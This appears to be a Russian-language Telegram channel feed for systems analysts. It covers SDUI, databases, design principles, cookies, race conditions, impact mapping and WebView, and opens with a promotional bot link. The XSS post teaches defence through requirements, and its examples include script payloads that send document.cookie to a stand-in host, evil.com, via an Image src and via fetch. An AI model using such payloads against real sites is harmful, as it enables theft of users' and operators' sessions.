Системный Аналитик

Карьерный лимб между джуном и мидлом — самая обидная точка на рынке Системного Анализа Зарплата в диапазоне 80-120к, задачи уже давно вышли за рамки "просто написать ТЗ", но на собеседованиях на 200к+ ты всё равно можешь посыпаться. Знания раскиданы, старые артефакты забыты, и как доказать, что ты уже Middle — непонятно. Пока твои знания и опыт остаются лоскутным одеялом, а не универсальной системой, приносящей ценность — рынок так и будет видеть в тебе вечного джуна. Валентин Заботин (тимлид СА в Beeline, провел 40+ аналитиков до офферов 185-280К) собрал Middle-Pack SA — по сути, всё, что нужно знать, чтобы выйти в мидлы на текущем рынке. Не "учи всё подряд", а конкретно: куда бить, на чём фокус, что на собесе спрашивают, а что нет. Что внутри: ▪️ Контекст рынка 2026: почему аналитики сидят на 120к и где сейчас открытые двери. ▪️ Харды: 5 конкретных тем, вокруг которых нужно строить свою самопрезентацию (и ссылки на их изучение). ▪️ Резюме: как выкинуть "джуновский" мусор и подсветить нужные артефакты, чтобы не вылетать на этапе HR. ▪️ 3 стратегии карьерного роста в СА без воды. 🤩 Бонус — разбор собеса на оффер 250К в двух частях: тех. часть и самопрезентация. Ты своими глазами увидишь, как нужно презентовать свой опыт так, чтобы тебе поверили и предложили работу. Валентин отдаёт это бесплатно. Сказал, что в будущем может закрыть доступ — так что пока есть, забирайте и применяйте: 👉 @lifeinanalytics_bot

🔼 Server Driven UI (SDUI) Server Driven UI (SDUI) — архитектурный подход, при котором сервер определяет не только данные, но и структуру пользовательского интерфейса (какие компоненты, в каком порядке и с какими параметрами отрисовать на клиенте) 🍃В обычном приложении клиент «знает», как показать экран 🍃В SDUI клиент превращается в «движок рендеринга» — он просто отрисовывает то, что пришло с сервера в виде декларативного описания (обычно JSON) Подход также называют BDUI (Backend-Driven UI) ⭕️В традиционной (client-driven) модели сервер отдаёт только данные, а клиент решает, как их показать: Сервер ➡️ отправляет данные ({"price": 1990, "currency": "RUB"}) Клиент ➡️ знает, как отобразить эти данные на конкретной платформе 🟠В SDUI сервер отдаёт описание интерфейса: Сервер ➡️ отправляет компоненты и их свойства ({"type": "price_label", "props": {"text": "1 990 ₽"}}) Клиент ➡️ по описанию собирает экран из готовых нативных компонентов ❗️Ключевое отличие: логика «что и где показать» переезжает с клиента на сервер Как работает Система состоит из трёх частей: 1⃣ UI-кит (компонентная база) — набор реализованных на каждой платформе нативных компонентов (кнопка, карточка, баннер, список). Это «общий язык» между сервером и клиентом. 2⃣ Движок рендеринга — клиентский механизм, который по описанию из JSON собирает экран: находит нужный компонент в UI-ките и передаёт ему свойства. 3⃣ Контракт (директивы) — описание экрана, которое сервер отдаёт клиенту. Типовой поток 1. На сервере формируется описание экрана (какие компоненты, порядок, свойства, действия). 2. Клиент запрашивает конфигурацию и получает JSON 3. Движок рендеринга разбирает JSON, по type находит компоненты в реестре и отрисовывает их 4. Пользователь взаимодействует (например, нажимает кнопку) — клиент выполняет действие (action), пришедшее вместе с компонентом 5. Нужно поменять экран — правка конфигурации на сервере, при следующем открытии приложения пользователи видят новый UI без обновления из стора Принципы SDUI ⭕️ Начинать с экрана, а не с данных. API проектируется под то, что нужно показать, а не под структуру БД (demand-driven подход). ⭕️ Минимум логики на клиенте. Любой if/else про «что показать» — кандидат на переезд на сервер. Иначе логика дублируется на каждой платформе. ⭕️ Отдавать продуктную информацию, а не доменные данные. Вместо price: 1990 + currency сервер сразу отдаёт готовую строку "1 990 ₽". Форматирование, локализация, скругления — на сервере. ⭕️ Единая дизайн-система. Все клиенты используют общий UI-кит, тогда серверная инструкция «отрисуй primary-кнопку» даст одинаковый результат везде. ⭕️ Внедрять инкрементально. Не переписывать всё приложение сразу, а начать с одного экрана или компонента (например, баннера на главной). Плюсы и минусы ✅ мгновенные обновления UI — без релизов в сторах и ожидания обновления у пользователей ✅ кроссплатформенность из коробки — один JSON рендерится на iOS, Android, Web ✅ простой A/B-тестинг и персонализация — разный UI разным сегментам одним изменением на сервере ✅ единообразие платформ — все клиенты синхронны, расхождений почти нет ✅ снижение нагрузки на мобильную разработку — фронт не верстает каждый экран с нуля ➖ без интернета UI не загрузится; нужны кэширование и фолбэки, иначе пустые экраны ➖ сложность старта — нужен UI-кит, движок рендеринга и серверная часть под это ➖ двойная поддержка компонентов — компоненты живут и на клиенте (реализация), и на сервере (описание) ➖сложнее отладка — труднее понять, почему экран выглядит именно так (собрался динамически) ➖ риск «зашить» бизнес-логику в UI — границы между слоями легко размыть Где используется Когда много платформ, а интерфейс меняется часто и под разные сегменты пользователей: 🟠 Travel- и маркетплейс-платформы — быстрые итерации UI в разделах с динамическим контентом 🟠 соцсети и стриминговые сервисы — мгновенный rollout изменений и экспериментов 🟠 e-commerce и маркетплейсы — разные раскладки витрин для разных продавцов (например, блок «Бестселлеры» только для крупных магазинов) 🟠когда нужно обновлять интерфейс с сервера, не зависеть от сторов 📎 Материалы 1. Чем полезен Server Driven UI 2. Яндекс выпускает DivKit — фреймворк для server-driven UI с открытым кодом 3. Server Driven UI в Альфа-Банке 4. Server-Driven UI архитектура: server-driven vs content-driven 5. Как работает Server-Driven UI и зачем он фронтендеру #архитектура ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

📊 Сравнение Баз данных и Хранилищ данных ▫️База данных – оперативное хранилище, где содержится "текущее состояние" бизнес-процессов: активные заказы, остатки на складе, профили пользователей и тд ▫️ OLTP (Online Transaction Processing) — обработка транзакций онлайн, способ эксплуатации этой базы 💙Хранилище данных (DWH)— информационная система, в которой хранятся данные из разных источников. Используется для анализа, составления отчетов и интеграции данных транзакций. 💙OLAP (Online Analytical Processing) —  способ доступа и анализа этих данных 🔹 Наши посты ▫️Основные понятия баз данных ▫️Нормальные формы баз данных ▫️Типы связей в БД. Нормализация ▫️Денормализация в БД ▫️Колоночные БД, Cassandra vs PostreSQL ▫️Требования ACID: Краткий обзор ▫️Масштабирование БД. Партиционирование, шардирование и репликация ▫️Требования ACID: Краткий обзор 💙Data Warehouse (DWH) 💙OLTP и OLAP #инфраструктура #бд ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Более поробное сравнение в базе знаний по системному анализу

✏️ Принципы разработки KISS, Бритва Оккама, SSOT, DRY, YAGNI, SOLID Зачем нужны Инженерные принципы это не строгие правила, а ориентир Помогают: 🔸 уменьшать стоимость изменений 🔸 снижать количество ошибок 🔸 упрощать сопровождение 🔸 делать требования понятнее 🔸 избегать избыточных решений 💡 Для системного аналитика принципы служат фильтром при сборе требований, позволяют снизить затраты ещё до написания кода KISS (Keep It Simple, Stupid) Решение должно быть максимально простым Чем сложнее система, тем дороже изменения, тестирование и поддержка KISS не означает примитивные решения ✅ А отказ от ненужного усложнения Как применять СА 🔵не добавлять лишние сущности и процессы 🔵избегать универсальных решений без необходимости 🔵описывать требования максимально понятно 🔵сокращать количество исключений и специальных сценариев Пример ❌ Спроектировать универсальный механизм уведомлений с 15 каналами доставки, шаблонизацией и правилами маршрутизации ✔️ Сначала реализовать email и push-уведомления, если нужны бизнесу ❌ Описывать 15 вариантов исключений для одного процесса ✔️ Описать общее правило обработки ошибок (fallback), покрывающее 95 % случае Признаки нарушения KISS ▪️слишком много сущностей ▪️чрезмерная параметризация ▪️большое количество условий и исключений ▪️ сложность объяснения решения Бритва Оккама Не надо умножать сущности без необходимости Если два решения равнозначно покрывают требования, выбирается то, у которого меньше сущностей и допущений Отличие от KISS 🔸KISS говорит «делай просто» 🔸Бритва Оккама — «выбирай простое среди равных» Примеры для СА 🟠Есть проблема производительности. Необязательно сразу проектировать новый сервис или менять архитектуру. Возможно, достаточно оптимизировать запрос или индекс 🟠При выборе интеграции: если данные можно получить через REST-агрегацию, не стоит предлагать внедрение ESB или CDC только из соображений «это современно». SSOT (Single Source of Truth) Для каждой информации должен существовать один источник истины Если одинаковые данные существуют в нескольких местах, со временем они начинают расходиться Где применяется 🔵требования 🔵схемы данных 🔵справочники 🔵бизнес-правила 🔵интеграционные контракты Примеры в СА 🔵создавать единый глоссарий; в тексте требований использовать ссылки на термины, а не их определения 🔵справочные данные (списки валют, стран) выносить в общий раздел и ссылаться на него 🔵маппинг полей между системами хранить в едином файле (Swagger/OpenAPI или отдельной таблице), а не дублировать в сценариях ❌ Пример нарушения: правило «комиссия для клиентов из ЕС = 20 %» прописано в ТЗ, в UI-макете, в описании интеграции и в тест-кейсах. При изменении ставки до 22 % три источника не обновляются → баг на релизе DRY (Don’t Repeat Yourself) Не повторять знания, логику или описание без необходимости Дублирование приводит к изменениям во многих местах одновременно: 🟠одинаковые бизнес-правила 🟠повторяющиеся требования 🟠копирование схем данных 🟠одинаковая логика в нескольких процессах и тд Примеры для СА 🔸одинаковые структуры API вручную описываются в нескольких документах Лучше использовать единое описание и переиспользовать его 🔸в Use Cases применять include-сценарии для повторяющихся процедур (например, аутентификация описывается один раз) Когда дублирование допустимо Ради производительности (денормализация БД) или изоляции микросервисов (копирование DTO), но такое решение должно быть явно зафиксировано как исключение ❗️DRY не должен создавать избыточную сложность Отличие DRY от SSOT 🔸SSOT — про данные: одна сущность (справочник, атрибут, значение) хранится в одном месте. «где лежит истина?» (хранение) 🔸DRY — про логику: один алгоритм, правило или описание процесса не повторяется в разных местах. «где выполняется действие?» (поведение) YAGNI (You Aren’t Gonna Need It) Не создавать функциональность заранее Если функция не нужна сейчас — вероятно, её не нужно делать сейчас Примеры для СА 🔵 вместо проектирования 20 возможных статусов процесса «на будущее» лучше реализовать только реально используемые статусы. 🔵на этапе уточнения задавать вопрос: «Если не сделать это сейчас, сможет ли бизнес работать?» Если да — требование переносится в бэклог. ❌ Типичная ошибка: путать гибкость системы и проектирование гипотетических сценариев SOLID SOLID — набор принципов проектирования, направленных на создание изменяемых и поддерживаемых решений Интерпретация для СА 🔸SRP (Single Responsibility) Требование должно иметь одну причину для изменения. Не следует смешивать в одном разделе расчёт зарплаты и отправку уведомлений — их нужно разделять 🔸 OCP (Open/Closed) В требованиях новый сценарий должен дополнять, а не переписывать старый. Вместо «если тип A, то скидка 10 %» лучше описать механизм правил, где для типа A задаётся правило, а для типа B можно добавить новое правило 🔸 LSP (Liskov Substitution) Если в требованиях есть родительская роль («Клиент»), то её подтип («VIP-клиент») не должен нарушать предусловия системы (например, не требовать обязательный номер телефона, если у VIP его нет) 🔸 ISP (Interface Segregation) Лучше иметь несколько специализированных эндпоинтов, чем один универсальный с множеством обязательных полей 🔸 DIP (Dependency Inversion) Требования к модулям верхнего уровня не должны зависеть от деталей нижнего уровня. Вместо «сохранять в таблицу Oracle INSERT'ом» следует писать «система сохраняет данные» — абстрагироваться от реализации ❗️SOLID помогает управлять сложностью, но избыточное применение может привести к переусложнению 📎 Материалы 1. Принципы для разработки: KISS, DRY, YAGNI, BDUF, SOLID, APO и бритва Оккама 2. Принципы разработки в системном анализе 3. 5 принципов читаемого кода: KISS, YAGNI, DRY, BDUF и Бритва Оккама 4. SOLID, DRY, KISS, YAGNI и др. принципы разработки, пугающие новичка в IT #проектирование ➿➿➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

Ретроспектива в Agile Проверенные методы и инновационные подходы ✍️ Автор: Марк Лоффлер 🗓 Год издания: 2020 🔤 Язык: русский 📚 Объём: 176 стр. Книга представляет систематизированное руководство по проведению Agile-ретроспектив. Рассматриваются 💙базовые принципы ретроспектив 💙этапы подготовки и проведения 💙а также роль фасилитатора. Описаны расширенные подходы, включая системные, распределённые и ориентированные на решение ретроспективы, а также альтернативные форматы. Отдельное внимание уделено типичным ошибкам. Даны практические рекомендации и кейсы для повышения эффективности командной работы. Книга для скрам-мастеров, agile-коучей и руководителей проектов 🔹 Agile и Waterfall: главное о методологиях разработки ПО #agile #управление_проектами

🖥 Cookie-файлы Cookie — небольшие данные, которые сайт сохраняет в браузере пользователя и использует при последующих запросах ⏩ Cookie — как номерок в гардеробе. Гардеробщик не запоминает лично, а выдает номерок, по которому находит вещи ⏩ Работают схоже: браузер хранит идентификатор, а сервер по нему понимает, кто выполняет запрос Протокол HTTP — stateless (не хранит состояние). Каждый запрос сам по себе не знает ничего о предыдущем. Поэтому без cookie серверу сложно понимать: 🟡кто авторизован 🟡что лежит в корзине 🟡какие настройки выбрал пользователь 🟡выполнял ли пользователь действия ранее Как работают по шагам 1. пользователь открывает сайт 2. сервер отправляет браузеру заголовок Set-Cookie 3. браузер сохраняет данные 4. при следующих запросах браузер автоматически добавляет заголовок Cookie 5. сервер использует полученное значение Важно: 🟡cookie хранятся на стороне клиента 🟡браузер сам управляет отправкой cookie 🟡cookie привязаны к доменам и правилам доступа 🟡срок хранения может быть ограничен Жизненный цикл Создание ➡ сохранение в браузере ➡ использование в запросах ➡ обновление ➡ удаление или истечение срока действия Cookie могут удаляться: ⭕пользователем вручную ⭕браузером ⭕сервером ⭕после окончания срока действия Для чего используются ⏩ Авторизация и сессии После входа сервер выдает идентификатор сессии. Благодаря этому пользователь не авторизуется заново на каждой странице ⏩ Персонализация Cookie позволяют сохранять ⭕язык интерфейса ⭕тему оформления ⭕настройки отображения ⭕регион и тд ⏩ Корзины интернет-магазинов Позволяют хранить связь между пользователем и выбранными товарами ⏩ Аналитика Для: ⭕подсчета посетителей ⭕отслеживания поведения ⭕измерения конверсий ⭕анализа пользовательских путей ⏩ Реклама и маркетинг ⭕помогают показывать релевантную рекламу ⭕ограничивать частоту показов ⭕строить аудитории ⏩ A/B-тестирование Позволяют закреплять пользователя за вариантом эксперимента Виды Cookie ⬆ First-party Cookie (собственные) Создаются сайтом, который пользователь открыл Примеры: ⭕авторизация ⭕корзина ⭕пользовательские настройки ⬇Third-party Cookie (сторонние) Создаются сторонними доменами Примеры: ⭕рекламные сети ⭕аналитические сервисы ⭕виджеты Сторонние Cookie ограничивают из-за приватности ✖ Проблемы: ➖межсайтовое отслеживание ➖сбор пользовательских профилей ➖непрозрачность обработки данных Влияние на интеграции ⏩ SSO (Single Sign-On) После единого входа пользователь получает cookie сессии Что учитывать: 📍домены и поддомены должны быть настроены корректно 📍срок жизни cookie влияет на длительность авторизации 📍ограничения SameSite могут нарушить сценарий входа между системами ⏩ API Браузер может автоматически отправлять cookie вместе с запросами Что учитывать: 📍корректная настройка CORS 📍для кросс-доменных запросов необходимо учитывать SameSite и Secure 📍часть API вместо cookie использует JWT-токены 📎 Материалы 1. Что такое Cookie и зачем они нужны 2. Ультимативный гайд по HTTP. Cookies и CORS 3. Что такое cookie? 4. Что такое cookie и для чего они нужны 5. Перевод Всё о файлах cookie и их безопасности #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🔽 Гонка событий (Race Condition) Гонка событий — ситуация, при которой результат работы системы зависит от порядка выполнения операций Если несколько процессов одновременно работают с одним состоянием, итог может быть непредсказуемым Может возникать в: 🟢микросервисах 🟢распределённых системах 🟢очередях сообщений 🟢асинхронных API 🟢frontend-приложениях 🟢потоковой обработке данных 🍃Сложность гонки событий: проблема проявляется нестабильно Система может работать корректно, а затем случайно выдать ошибку Когда возникает ⚪️несколько процессов работают с одним состоянием ( одновременно читают и изменяют) ⚪️хотя бы один процесс изменяет данные ⚪️порядок выполнения не контролируется ⚪️нарушение порядка доставки (события отправляются в одном порядке, а доставляются — в другом) ⚪️отсутствие координации между сервисами (каждый сервис видит только локальное состояние) ⚪️deadlock (несколько транзакций блокируют друг друга) Типичные признаки ➖«плавающие» баги ➖редкие ошибки ➖невозможность стабильно воспроизвести проблему ➖случайные дубли ➖потеря части данных ➖периодическая рассинхронизация Причины 🍃сетевые задержки 🍃ретраи 🍃повторная доставка сообщений 🍃независимая работа сервисов 🍃параллельные консьюмеры 🍃различная скорость обработки Гонка всегда связана с принципом: ❕корректность системы зависит от последовательности событий Если изменение порядка приводит к разному результату — система подвержена гонке Backend и микросервисы Частый источник гонок — параллельные запросы к одному ресурсу Например: ✨несколько сервисов обновляют один заказ ✨несколько обработчиков меняют баланс ✨несколько консьюмеров читают одну очередь Базы данных При использовании транзакций гонка не исчезает Проблемы: ➖Lost Update (когда изменения одного процесса перезаписываются изменениями другого, и часть данных теряется) ➖dirty read (чтение данных, которые были изменены другой транзакцией, но ещё не зафиксированы ) ➖ non-repeatable read (повторное чтение одной и той же записи внутри транзакции возвращает разные значения, потому что другая транзакция изменила данные) ➖перезапись изменений Брокеры сообщений Не гарантируют отсутствие гонок Создают условия, при которых она возникает Проблемы: ⚪️задвоенные события 🤩 дважды изменится состояние ⚪️доставка не по очереди 🤩 итоговое состояние зависит от порядка ⚪️повторная доставка🤩 перезапишется состояние ⚪️параллельные консьюмеры 🤩 если работают с одим ресурсом, то есть риски гонки Распределенные системы В распределённых системах гонка — нормальное состояние среды Причины: 🟢eventual consistency (изменения не применяются на всех серверах мгновенно) 🟢независимые сервисы 🟢сетевые лаги 🟢разные каналы доставки 🟢репликация Примеры Микросервисы с общей БД ➖сервис заказов и сервис оплаты работают с одной таблицей ➖сервис оплаты меняет статус заказа ➖сервис заказов одновременно обновляет адрес доставки Оба сервиса: 1. читают одну запись 2. меняют локальную копию 3. сохраняют объект полностью. Последний UPDATE уничтожает изменения другого сервиса Как решать ✨обновлять только нужные поля ✨использовать оптимистическую блокировку ✨отказаться от общей БД Event-driven архитектура Сервис публикует: ➖OrderCreated ➖OrderCancelled Потребитель получает их в обратном порядке Клиент сначала получает письмо: «Заказ отменён» А затем: «Заказ успешно создан» Как решать ✨партицирование по orderId ✨версионирование событий ✨occurredAt timestamp 📎 Материалы 1. Небезопасная многопоточность или Race Condition 2. Что такое состояние гонки 3. Почему стоит проверять приложения на устойчивость к race condition 4. Разница между Data Race и Race Condition 📚 Книги 1. Высоконагруженные приложения - Мартин Клеппман 2. Микросервисы. Паттерны разработки и рефакторинга - Крис Ричардсон 3. Шаблоны корпоративных приложений - Мартин Фаулер 4. Release it! Проектирование и дизайн ПО для тех, кому не всё равно - Майкл Нейгард #проектирование ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🛡 XSS-уязвимость XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript). Код выполняется в браузере другого пользователя (жертвы) ➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени На этапе проектирования требований можно: ⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария) ✅ предотвратить её (чётко указать, какие символы и разметка допустимы) Как работает XSS 1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля) 2⃣ Вводит туда вредоносную строку, например:  <script>alert('Ваши куки: ' + document.cookie)</script> 3⃣ Приложение сохраняет или сразу выводит эту строку без обработки 5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её 5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы ❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст Типы XSS ⭕️Хранимая (Stored XSS) — самая опасная Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу ➡️ Пример Форма отзывов. Хакер пишет отзыв: > Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script> Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю ✅ Защита ✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения ✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками) ⭕️Отражённая (Reflected XSS) Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке. ➡️ Пример Сайт показывает  поисковый запрос: «Вы искали: запрос».  Хакер отправляет жертве ссылку:  https://site.com/search?q=<script>alert(1)</script>  Жертва кликает ➡️ скрипт выполняется ✅ Защита В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML. Даже для сообщений об ошибке ⭕️DOM‑based XSS (без участия сервера) Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML ➡️ Пример (уязвимый код на странице): document.getElementById('message').innerHTML = location.hash.substring(1) Хакерская ссылка:  https://site.com/<img src=x onerror=alert(1)> Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код ✅ Защита В клиентских скриптах не использовать innerHTML с пользовательскими данными, Применять безопасные методы (textContent, setAttribute) ⭕️Слепая XSS (Blind XSS) Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора ➡️ Пример Форма обратной связи. Поле «Имя»: <script>fetch('https://evil.com?cookie='+document.cookie)</script>  Сам клиент видит своё имя без проблем (экранирование на публичной части есть) Но оператор в админ‑панели смотрит все заявки — и там экранирования нет. Скрипт ворует сессию оператора ✅ Защита Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние. 📎 Материалы 1. Что такое XSS-атака и как с ней бороться 2. XSS: нападение и защита 3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy 4. Примеры атак XSS и способов их ослабления 5. XSS-атака без секретов: от простого alert до захвата сессии 📚 Книги Грокаем безопасность веб-приложения - Макдональд Малькольм #безопасность ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

⌛ Impact mapping Impact mapping — техника планирования, которая помогает связать требования с бизнес-результатом Результат — визуальная карта, отвечает на вопросы по порядку: 1. Зачем это делаем? (Цель) 2. Кто может помочь или помешать? (Актор) 3. Как должно измениться их поведение? (Влияние) 4. Что можем создать, чтобы вызвать это изменение? (Результат) 💡 Не строятся функции. Меняется поведение акторов для достижения цели Какую проблему решает Часто требования формируются как список функций Это приводит к проблемам: ⚪️нет связи между функциями и бизнес-целями ⚪️бэклог переполнен ⚪️приоритеты определяются субъективно ⚪️команда становится “feature factory” Традиционные артефакты (user stories, use cases): ➖описывают что сделать ➖но не требуют объяснения зачем Impact Mapping вводит причинно-следственную модель: цель ➡️ акторы ➡️ изменения поведения ➡️ решения И обратную проверку: решение ➡️ влияние ➡️ актор ➡️ цель Если цепочка не работает в обе стороны — элемент не нужен Основные элементы Всегда 4 уровня. Без исключений. 🟧 Цель Не “что улучшить”, а “какой результат получить” Пример 🟧 Улучшить UX 🟧 Увеличить конверсию с 2% до 3% за 3 месяца 🟧 без метрики невозможно понять, работает ли решение 🟧 Акторы Это люди или группы, которые могут повлиять на цель Могут помогать или мешать НЕ системные компоненты. Это не БД и не API. Это роли с поведением. Примеры акторов 🟧гостевой пользователь (без аккаунта) 🟧авторизованный премиум-подписчик 🟧агент поддержки 🟧 Система оплаты 🟧 Пользователь, Оператор поддержки 🟧 Влияния Это изменение поведения актора НЕ функция и НЕ действие системы Пример Функция: “Показывать всплывающее окно со скидкой”. Влияние: “Гостевой пользователь завершает оформление заказа вместо ухода”. Влияние должно быть наблюдаемым Если невозможно измерить, изменилось ли поведение, это не влияние 🟧 Результаты То, что создаёт команда: функции, истории, задачи, API, UI-компоненты, отчёты Результат попадает на карту, только если напрямую поддерживает влияние 🟧 несколько результатов могут поддерживать одно влияние 🟧 а один результат - несколько влияний Если сделать X → поведение изменится 🟧искать минимальное решение для проверки гипотезы Пример Цель: Увеличить долю повторных покупок с 30% до 45% к 31 дек │ ├── Актор: Авторизованный клиент │ ├── Влияние: Возвращается на сайт в течение 7 дней без напоминания │ │ ├── Результат: Персонализированная главная с недавно просмотренными товарами │ │ └── Результат: Сохранение корзины между сессиями с визуальным индикатором │ └── Влияние: Добавляет товары в корзину быстрее, чем в прошлый раз │ └── Результат: Повторный заказ в один клик из истории заказов │ ├── Актор: Покупатель впервые │ └── Влияние: Создаёт аккаунт после покупки (а не до) │ └── Результат: Предложение создать аккаунт после оформления заказа (без принудительного входа) │ └── Актор: Агент поддержки └── Влияние: Решает проблемы с аккаунтом без эскалации в инженерию └── Результат: Самостоятельный сброс пароля с SMS-подтверждением Когда использовать 🤩исследование нового продукта 🤩разработка функции для нескольких спринтов. Impact mapping гарантирует, что каждая часть связана с изменением поведения 🤩кросс-функциональная работа с участием продакта, инженерии, маркетинга, продаж. Карта создаёт общий язык 🤩планирование Прежде чем заполнять бэклог, создать impact-карты для каждой цели Затем извлечь функции из карт 🤩много функций, но нет бизнес-результатов Не стоит использовать ➖исправление багов ➖задачи только ради соответствия требованиям (compliance), изменения поведения нет ➖уже есть подобные инструменты ➖инфраструктурная работа (обновление БД, миграция серверов) 📎 Материалы 1. Impact Mapping на практике 2. Как создать работающий Impact Map 3. Impact Mapping на практике 4. Сайт книги от создателя подхода "Impact mapping: Как повысить эффективность программных продуктов и проектов по их разработке | Аджич Гойко" #требования ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу

🌐 Web as Native WebView и Web as Native WebView —  встроенный в мобильное приложение компонент, который отображает веб-страницы (HTML, CSS, JavaScript) внутри приложения Важно: 🔹 это не отдельное приложение (не Chrome/Safari) 🔹он управляется нативным кодом 🔹 пользователь не видит, что это веб Web as Native —  подход, при котором веб-интерфейс используется как мобильное приложение Web —  интерфейс и часть логики 🔸рисует UI 🔸обрабатывает пользовательские сценарии Native —  оболочка (контейнер) 🔸открывает экраны 🔸управляет WebView 🔸даёт доступ к функциям устройства WebView —  инструмент Web as Native —  архитектурный подход Большинство «Web as native»-реализаций используют WebView как основной инструмент Как работает WebView 1. приложение создаёт WebView 2. передаёт URL 3. WebView загружает страницу 4. отрисовывает интерфейс 5. пользователь взаимодействует с ним Если нужен доступ к устройству — используется bridge (API между Web и Native внутри приложения) Пример архитектуры Пользователь      ↓ Мобильное приложение      ↓   WebView      ↓ Web Frontend      ↓ Backend API WebView — только “контейнер”,  вся логика чаще всего в вебе Способы открытия WebView ➡️ Прямое открытие экрана Самый простой вариант: пользователь нажал → открылся экран с WebView Минус: видна загрузка (белый экран), что создаёт ощущение “медленного” приложения ➡️ Предзагрузка Приложение: 🔹создаёт WebView заранее 🔹загружает страницу в фоне → пользователь открывает — страница уже готова → улучшает perceived performance (ощущаемую скорость) ➡️ Skeleton / Loader Пока WebView загружается показывается нативный placeholder или skeleton UI → создаёт ощущение скорости, даже если фактическая загрузка не изменилась ➡️ Кэширование 🔹WebView использует кэш 🔹можно хранить статические ресурсы → ускоряет повторное открытие и снижает нагрузку на сеть ➡️ Гибридный экран (частично native) 🔹шапка и кнопки — нативные 🔹контент — WebView → снижает ощущение “веба” и улучшает UX за счёт нативных элементов Где используется WebView 🔸статьи и контент 🔸 личные кабинеты 🔸формы и платежи 🔸 fallback-экраны Пример: маркетплейс Почему WebView ➖ UI часто меняется → веб позволяет обновлять без релиза приложения ➖ маркетинг управляет страницами → не требует участия мобильной команды ➖ важно быстро выкатывать изменения → веб быстрее в доставке Web: 🔹 каталог 🔹 карточка товара → высокая изменяемость, много UI-логики Native: 🔹оплата 🔹push 🔹доступ к устройству → критичные функции, требующие безопасности и интеграций Сценарий: покупка 1. User → Web: нажимает "Купить" 2. Web → Native: startPayment 3. Native → Backend: выполняет запрос 4. Native → Web: возвращает результат Безопасность Риски: 🔸XSS уязвимость    → вредоносный JS может вызвать нативные методы через bridge 🔸загрузка чужих URL    → можно отобразить фишинговую или вредоносную страницу 🔸доступ к cookies    → возможна утечка пользовательских данных ❗️Главная зона риска — взаимодействие между Web и Native, здесь веб получает доступ к возможностям устройства Плюсы и минусы ➕ быстро → можно использовать уже готовый веб и не писать UI с нуля ➕ дёшево → меньше затрат на разработку и поддержку двух платформ ➕ единый код → изменения делаются в одном месте и сразу доступны всем ➖ медленнее → из-за дополнительного слоя (браузерный движок + рендеринг)  ➖ хуже UX → веб-интерфейс уступает нативному по отзывчивости и плавности  ➖ зависимость от сети → без интернета приложение может частично или полностью не работать 📎 Материалы 1. Из браузера — в приложение: внутренняя кухня WebView 2. От Web к Native с React 3. ОМП рассказала о новых возможностях WebView в ОС «Аврора» 4. WebView: забыть нельзя интегрировать #веб ➿➿➿➿➿➿➿➿ 🧑‍🎓 Больше полезного в базе знаний по системному анализу